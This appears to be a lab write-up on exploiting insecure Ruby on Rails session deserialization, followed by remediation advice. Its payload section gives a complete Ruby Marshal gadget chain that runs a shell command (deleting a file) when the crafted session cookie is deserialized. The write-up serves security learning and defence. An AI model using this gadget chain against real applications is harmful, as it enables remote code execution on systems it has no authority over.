SCENARIO

This application uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework. We will try to find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory

**PROCEDURE**

1. Go the application and login using the given credentials to act as an user.
2. Navigate to the **My Account** page and inspect the session cookie because it contains a serialized Ruby object.
3. Go to the website:

<https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html>

1. Insert the Payload into a Ruby compiler and get the output of a session cookie.
2. So, we inject the cookie value into the session parameter and send the request, even though we get an error but the lab is solved.
3. Now we deleted the file successfully without interacting with the system directly.

**PAYLOAD**

require 'base64'

Gem::SpecFetcher

Gem::Installer

# prevent the payload from running when we Marshal.dump it

module Gem

class Requirement

def marshal\_dump

[@requirements]

end

end

end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate

rs.instance\_variable\_set('@sets', wa1)

rs.instance\_variable\_set('@git\_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate

i.instance\_variable\_set('@read', 0)

i.instance\_variable\_set('@header', "aaa")

n = Net::BufferedIO.allocate

n.instance\_variable\_set('@io', i)

n.instance\_variable\_set('@debug\_output', wa2)

t = Gem::Package::TarReader.allocate

t.instance\_variable\_set('@io', n)

r = Gem::Requirement.allocate

r.instance\_variable\_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])

puts Base64.encode64(payload)

**REMEDIATION**

1. **Secure Configuration:** Ensure that your Ruby on Rails application is configured securely. This means ensuring that potentially harmful configurations like config.action\_dispatch.cookies\_serializer are set to JSON rather than Marshal, which is the Ruby object serialization format. The JSON serializer does not allow object deserialization and is a safer option.
2. **Disable Unsafe Methods:** Ensure that potentially harmful methods like Kernel.eval, Kernel.load, or Kernel.system are not directly callable by deserialized objects. Consider using a secure coding library or framework that disables or sandboxes these methods.
3. **Input Validation:** Always validate and sanitize user inputs. Ensure that the data you're deserializing is in the expected format and does not contain unexpected or harmful content.
4. **Avoid Exposing Dangerous Gadgets:** Some libraries and classes expose dangerous functions that can be used in a gadget chain. Review the classes and libraries used in your application and remove or replace those that expose such functions.
5. **Patch and Update:** Regularly patch and update both your Ruby on Rails application and all its dependencies. Exploits often target known vulnerabilities in older versions of software.
6. **Encrypt and Sign Serialized Data:** Encrypt the serialized data so that it can't be viewed or modified by potential attackers. In addition, sign the data to ensure that it hasn't been tampered with before deserializing it.